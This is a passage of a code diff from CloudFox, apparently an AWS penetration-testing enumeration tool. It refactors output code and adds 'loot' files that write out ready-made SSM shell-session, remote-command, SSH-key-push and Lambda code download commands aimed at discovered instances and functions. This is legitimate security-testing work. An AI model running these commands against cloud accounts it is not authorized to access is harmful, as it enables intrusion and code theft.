"Internal IP",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
//"ID",
"Name",
//"Arn",
"ID",
"Zone",
"State",
"External IP",
"Internal IP",
"Role",
"IsAdminRole?",
//"CanPrivEscToAdmin?",
}
}
//Table rows
for _, instance := range m.MappedInstances {
m.output.Body = append(
m.output.Body,
//table.Row{
[]string{
//instance.ID,
instance.Name,
//instance.Arn,
instance.ID,
instance.AvailabilityZone,
instance.State,
instance.ExternalIP,
instance.PrivateIP,
instance.Role,
instance.Admin,
instance.CanPrivEsc,
},
)
if m.pmapperError == nil {
for _, instance := range m.MappedInstances {
m.output.Body = append(
m.output.Body,
//table.Row{
[]string{
//instance.ID,
instance.Name,
//instance.Arn,
instance.ID,
instance.AvailabilityZone,
instance.State,
instance.ExternalIP,
instance.PrivateIP,
instance.Role,
instance.Admin,
instance.CanPrivEsc,
},
)
}
} else {
for _, instance := range m.MappedInstances {
m.output.Body = append(
m.output.Body,
//table.Row{
[]string{
//instance.ID,
instance.Name,
//instance.Arn,
instance.ID,
instance.AvailabilityZone,
instance.State,
instance.ExternalIP,
instance.PrivateIP,
instance.Role,
instance.Admin,
//instance.CanPrivEsc,
},
)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
////m.output.OutputSelector(outputFormat)
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath)
//m.writeLoot(m.output.FilePath)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s instances found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
@@ -267,7 +325,7 @@ func (m *InstancesModule) printGeneralInstanceData(outputFormat string, outputDi
}
}
func (m *InstancesModule) writeLoot(outputDirectory string) {
func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
@@ -276,9 +334,14 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
}
privateIPsFilename := filepath.Join(path, "instances-ec2PrivateIPs.txt")
publicIPsFilename := filepath.Join(path, "instances-ec2PublicIPs.txt")
ssmCommandsFilename := filepath.Join(path, "instances-ssmCommands.txt")
ec2InstanceConnectCommandsFilename := filepath.Join(path, "instances-ec2InstanceConnectCommands.txt")
var publicIPs string
var privateIPs string
var ssmCommands string
var ec2InstanceConnectCommands string
var headlineName string
for _, instance := range m.MappedInstances {
if instance.ExternalIP != "NoExternalIP" {
@@ -288,6 +351,32 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
privateIPs = privateIPs + fmt.Sprintln(instance.PrivateIP)
}
if instance.Name != "" {
headlineName = fmt.Sprintf("%s/%s", instance.Name, instance.ID)
} else {
headlineName = fmt.Sprintf("%s", instance.ID)
}
ssmCommands = ssmCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
ssmCommands = ssmCommands + fmt.Sprintf("############## Instance: %s ##############\n", headlineName)
ssmCommands = ssmCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
ssmCommands = ssmCommands + fmt.Sprintf("### SSM start-session to %s ###\n", headlineName)
ssmCommands = ssmCommands + fmt.Sprintf("# You'll need the AWS CLI session manager plugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html\n")
ssmCommands = ssmCommands + fmt.Sprintf("aws --profile $profile --region %s ssm start-session --target %s\n\n", instance.Region, instance.ID)
ssmCommands = ssmCommands + fmt.Sprintf("### SSM send-command to %s ###\n", headlineName)
ssmCommands = ssmCommands + fmt.Sprintf("# If you just want to run one command you can use send-command, but really, start-session is way easier\n")
ssmCommands = ssmCommands + fmt.Sprintf("aws --profile $profile --region %s ssm send-command --instance-ids %s --document-name AWS-RunShellScript --parameters commands=\"aws sts get-caller-identity\" \n", instance.Region, instance.ID)
ssmCommands = ssmCommands + fmt.Sprintf("aws --profile $profile --region %s ssm get-command-invocation --output text --instance-id %s --command-id <command-id-from-previous-command>\n\n", instance.Region, instance.ID)
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("############## Instance: %s ##############\n", headlineName)
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("-----------------------------------------------------------------------\n")
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("### EC2 Instance Connect to %s ###\n", instance.ID)
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("# You'll need to change the --instance-os-user and --ssh-public-key parameters to match your own setup\n")
ec2InstanceConnectCommands = ec2InstanceConnectCommands + fmt.Sprintf("aws --profile $profile --region %s ec2-instance-connect send-ssh-public-key --instance-id %s --instance-os-user ec2-user --ssh-public-key file://~/.ssh/id_rsa.pub\n\n", instance.Region, instance.ID)
}
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
if err != nil {
@@ -299,16 +388,42 @@ func (m *InstancesModule) writeLoot(outputDirectory string) {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
err = os.WriteFile(ssmCommandsFilename, []byte(ssmCommands), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
err = os.WriteFile(ec2InstanceConnectCommandsFilename, []byte(ec2InstanceConnectCommands), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), publicIPsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), ssmCommandsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), ec2InstanceConnectCommandsFilename)
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Loot file for instance command:"))
fmt.Printf("Private IPs:\n\n")
fmt.Print(privateIPs)
fmt.Printf("Public IPs:\n\n")
fmt.Print(publicIPs)
fmt.Printf("SSM Commands:\n\n")
fmt.Print(ssmCommands)
fmt.Printf("EC2 Instance Connect Commands:\n\n")
fmt.Print(ec2InstanceConnectCommands)
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
}
func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg *sync.WaitGroup, dataReceiver chan MappedInstance) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ec2", r)
if err != nil {
@@ -437,6 +552,7 @@ func (m *InstancesModule) loadInstanceData(instance types.Instance, region strin
dataReceiver <- MappedInstance{
ID: aws.ToString(instance.InstanceId),
Name: aws.ToString(&name),
Arn: fmt.Sprintf("arn:aws:ec2:%s:%s:instance/%s", region, aws.ToString(accountId), aws.ToString(instance.InstanceId)),
AvailabilityZone: aws.ToString(instance.Placement.AvailabilityZone),
State: string(instance.State.Name),
ExternalIP: externalIP,
@@ -458,7 +574,7 @@ func (m *InstancesModule) getRolesFromInstanceProfiles() {
m.InstanceProfileToRolesMap = map[string][]iamTypes.Role{}
for PaginationControl {
ListInstanceProfiles, err := m.IAMListInstanceProfilesClient.ListInstanceProfiles(
ListInstanceProfiles, err := m.IAMClient.ListInstanceProfiles(
context.TODO(),
&(iam.ListInstanceProfilesInput{
Marker: PaginationMarker,
+620 -504
View File
File diff suppressed because it is too large. Load diff
+105 -37
View File
@@ -9,9 +9,10 @@ import (
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/lambda"
"github.com/aws/aws-sdk-go-v2/service/lambda/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
@@ -21,8 +22,8 @@ import (
type LambdasModule struct {
// General configuration data
LambdaClient *lambda.Client
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
LambdaClient *lambda.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
@@ -55,6 +56,7 @@ type Lambda struct {
}
func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
@@ -68,15 +70,15 @@ func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string
}
fmt.Printf("[%s][%s] Enumerating lambdas for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
if m.pmapperError != nil {
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
} else {
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
@@ -121,14 +123,23 @@ func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
"Service",
"Region",
//"Type",
"Resource Arn",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
if m.pmapperError == nil {
m.output.Headers = []string{
"Service",
"Region",
"Resource",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
"Service",
"Region",
"Resource",
"Role",
"IsAdminRole?",
}
}
sort.Slice(m.Lambdas, func(i, j int) bool {
@@ -138,26 +149,57 @@ func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string
// Table rows
for i := range m.Lambdas {
m.output.Body = append(
m.output.Body,
[]string{
m.Lambdas[i].AWSService,
m.Lambdas[i].Region,
//m.Lambdas[i].Type,
m.Lambdas[i].Name,
m.Lambdas[i].Role,
m.Lambdas[i].Admin,
m.Lambdas[i].CanPrivEsc,
//m.Lambdas[i].Public,
},
)
if m.pmapperError == nil {
m.output.Body = append(
m.output.Body,
[]string{
m.Lambdas[i].AWSService,
m.Lambdas[i].Region,
//m.Lambdas[i].Type,
m.Lambdas[i].Name,
m.Lambdas[i].Role,
m.Lambdas[i].Admin,
m.Lambdas[i].CanPrivEsc,
//m.Lambdas[i].Public,
},
)
} else {
m.output.Body = append(
m.output.Body,
[]string{
m.Lambdas[i].AWSService,
m.Lambdas[i].Region,
//m.Lambdas[i].Type,
m.Lambdas[i].Name,
m.Lambdas[i].Role,
m.Lambdas[i].Admin,
//m.Lambdas[i].CanPrivEsc,
//m.Lambdas[i].Public,
},
)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath, verbosity)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s lambdas found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No lambdas found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
@@ -169,7 +211,7 @@ func (m *LambdasModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("lambda", r)
if err != nil {
@@ -219,7 +261,7 @@ func (m *LambdasModule) writeLoot(outputDirectory string, verbosity int) {
out = out + fmt.Sprintf("aws --profile $profile --region %s lambda get-function --function-name %s\n", function.Region, function.Name)
out = out + "# Download function code to to disk (requires jq and curl) \n"
out = out + fmt.Sprintf("mkdir -p ./lambdas/%s\n", function.Name)
out = out + fmt.Sprintf("url=`aws --profile $profile lambda get-function --region %s --function-name %s | jq .Code.Location | sed s/\"//g` && curl \"$url\" -o ./lambdas/%s.zip\n", function.Region, function.Name, function.Name)
out = out + fmt.Sprintf("url=`aws --profile $profile lambda get-function --region %s --function-name %s | jq .Code.Location | sed s/\\\"//g` && curl \"$url\" -o ./lambdas/%s.zip\n", function.Region, function.Name, function.Name)
}
err = os.WriteFile(pullFile, []byte(out), 0644)
if err != nil {
@@ -293,7 +335,7 @@ func (m *LambdasModule) listFunctions(r string) ([]types.FunctionConfiguration,
},
)
if err != nil {
m.modLog.Error(err.Error())
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
return functions, err
}
@@ -308,3 +350,29 @@ func (m *LambdasModule) listFunctions(r string) ([]types.FunctionConfiguration,
}
return functions, nil
}
func (m *LambdasModule) getResourcePolicy(r string, functionName string) (policy.Policy, error) {
var projectPolicy policy.Policy
var policyJSON string
Policy, err := m.LambdaClient.GetPolicy(
context.TODO(),
&lambda.GetPolicyInput{
FunctionName: &functionName,
},
func(options *lambda.Options) {
options.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
return projectPolicy, err
}
policyJSON = aws.ToString(Policy.Policy)
projectPolicy, err = policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
return projectPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", functionName, err)
}
return projectPolicy, nil
}
+2029
View File
File diff suppressed because it is too large. Load diff
+290
View File
@@ -0,0 +1,290 @@
package aws
import (
"fmt"
"path/filepath"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/organizations/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/kyokomi/emoji"
"github.com/sirupsen/logrus"
)
type OrgModule struct {
OrganizationsClient sdk.OrganizationsClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
SkipAdminCheck bool
WrapTable bool
DescribeOrgOutput *types.Organization
// Main module data
Accounts []Account
Orgs map[string]Org
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Org struct {
OrgId string
MgmtAccount string
ChildAccounts []Account
}
type Account struct {
ProfileName string
isManagementAccount bool
Name string
Id string
Email string
Arn string
Status string
OrgId string
}
func (m *OrgModule) PrintOrgAccounts(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
var err error
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "org"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Checking if account %s is the management account in an organization.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
m.DescribeOrgOutput, err = sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Errorf("Failed to describe organization: %s", err)
return
}
if err != nil {
m.modLog.Errorf("Failed to describe organization: %s", err)
fmt.Printf("[%s][%s] Account %s is either not associated with an organization, or you do not have the organizations:DescribeOrganization permission.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
} else {
if m.IsManagementAccount(m.DescribeOrgOutput, aws.ToString(m.Caller.Account)) {
m.addOrgAccounts()
} else {
m.addOrgAccount()
//fmt.Printf("[%s][%s] Account %s is not the management account in an organization %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
}
m.output.Headers = []string{
"Name",
"ID",
"isManagementAccount?",
"Status",
"Email",
}
// Table rows
for i := range m.Accounts {
m.output.Body = append(
m.output.Body,
[]string{
m.Accounts[i].Name,
m.Accounts[i].Id,
strconv.FormatBool(m.Accounts[i].isManagementAccount),
m.Accounts[i].Status,
m.Accounts[i].Email,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %d accounts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(m.output.Body))
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
}
}
func (m *OrgModule) ProcessMultipleAccounts(AWSProfiles []string, version string) {
var seenOrgs []string
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan Account)
// Create a channel to signal to stop
receiverDone := make(chan bool)
// Create a channel to signal to stop
go m.Receiver(dataReceiver, receiverDone)
for _, profile := range AWSProfiles {
wg.Add(1)
m.CommandCounter.Pending++
go m.FindMgmtAccounts(profile, version, wg, semaphore, dataReceiver)
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
orgId := aws.ToString(m.DescribeOrgOutput.Id)
// if this orgId is not in seenOrgs, add it to seenOrgs
if !internal.Contains(orgId, seenOrgs) {
seenOrgs = append(seenOrgs, orgId)
// add this org to the Orgs map
Org := Org{
OrgId: orgId,
}
m.Orgs[orgId] = Org
} else {
continue
}
isMgmtAccount := m.IsManagementAccount(m.DescribeOrgOutput, aws.ToString(m.Caller.Account))
if isMgmtAccount {
mgmtAccount := aws.ToString(m.Caller.Account)
fmt.Printf("[%s] Found an Organization Management Account: %s\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", version)), mgmtAccount)
//mgmtAccounts[mgmtAccount] = append(mgmtAccounts[mgmtAccount], profile)
}
}
}
func (m *OrgModule) Receiver(receiver chan Account, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Accounts = append(m.Accounts, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *OrgModule) FindMgmtAccounts(profile string, version string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Account) {
var err error
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Errorf("Failed to describe organization: %s", err)
m.CommandCounter.Error++
return
}
dataReceiver <- Account{
isManagementAccount: m.IsManagementAccount(DescribeOrganization, aws.ToString(m.Caller.Account)),
Name: aws.ToString(m.Caller.Account),
Id: aws.ToString(m.Caller.Account),
Status: "ACTIVE",
Email: aws.ToString(m.Caller.Account),
OrgId: aws.ToString(DescribeOrganization.Id),
Arn: aws.ToString(m.Caller.Account),
}
}
func (m *OrgModule) IsManagementAccount(Organization *types.Organization, account string) bool {
// Check if the account is the management account
// https://docs.aws.amazon.com/organizations/latest/APIReference/API_DescribeOrganization.html
if aws.ToString(Organization.MasterAccountId) == account {
return true
}
return false
}
func (m *OrgModule) addOrgAccounts() {
accounts, err := sdk.CachedOrganizationsListAccounts(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, account := range accounts {
m.Accounts = append(m.Accounts, Account{
isManagementAccount: m.IsManagementAccount(m.DescribeOrgOutput, aws.ToString(account.Id)),
Name: aws.ToString(account.Name),
Id: aws.ToString(account.Id),
Email: aws.ToString(account.Email),
Arn: aws.ToString(account.Arn),
Status: string(account.Status),
})
}
}
func (m *OrgModule) addOrgAccount() {
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
sharedLogger.Errorf("Failed to describe organization: %s", err)
m.CommandCounter.Error++
return
}
m.Accounts = append(m.Accounts, Account{
isManagementAccount: true,
Name: "Mgmt Account",
Id: aws.ToString(DescribeOrganization.MasterAccountId),
Email: aws.ToString(DescribeOrganization.MasterAccountEmail),
Arn: aws.ToString(DescribeOrganization.MasterAccountArn),
Status: "ACTIVE",
})
m.Accounts = append(m.Accounts, Account{
isManagementAccount: false,
Name: "This account",
Id: aws.ToString(m.Caller.Account),
Email: "Unkonwn",
Arn: aws.ToString(m.Caller.Arn),
Status: "ACTIVE",
})
}
func (m *OrgModule) IsCallerAccountPartOfAnOrg() bool {
DescribeOrgOutput, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
sharedLogger.Errorf("Failed to describe organization: %s", err)
return false
} else {
m.DescribeOrgOutput = DescribeOrgOutput
}
return true
}
+19 -3
View File
@@ -190,10 +190,26 @@ func (m *OutboundAssumedRolesModule) PrintOutboundRoleTrusts(days int, outputFor
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s log entries found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
//m.writeLoot()
@@ -219,7 +235,7 @@ func (m *OutboundAssumedRolesModule) Receiver(receiver chan OutboundAssumeRoleEn
func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("cloudtrail", r)
if err != nil {
+322 -219
View File
@@ -1,18 +1,17 @@
package aws
import (
"context"
"encoding/json"
"errors"
"fmt"
"net/url"
"path/filepath"
"strconv"
"strings"
"time"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/iam/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
@@ -20,7 +19,7 @@ import (
type IamPermissionsModule struct {
// General configuration data
IAMClient *iam.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
@@ -80,6 +79,7 @@ type PermissionsRow struct {
Effect string
Action string
Resource string
Condition string
}
func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDirectory string, verbosity int, principal string) {
@@ -94,26 +94,27 @@ func (m *IamPermissionsModule) PrintIamPermissions(outputFormat string, outputDi
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Enumerating IAM permissions for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
if principal != "" {
m.output.FullFilename = filepath.Join(fmt.Sprintf("%s-custom-%s", m.output.CallingModule, strconv.FormatInt((time.Now().Unix()), 10)))
}
m.getGAAD(principal)
m.parsePermissions()
m.getGAAD()
m.parsePermissions(principal)
m.output.Headers = []string{
"Service",
"Principal Type",
//"Service",
"Type",
"Name",
//"Arn",
"Policy Type",
"Policy",
"Policy Name",
"Effect",
"Action",
"Resource",
"Condition",
}
//Table rows
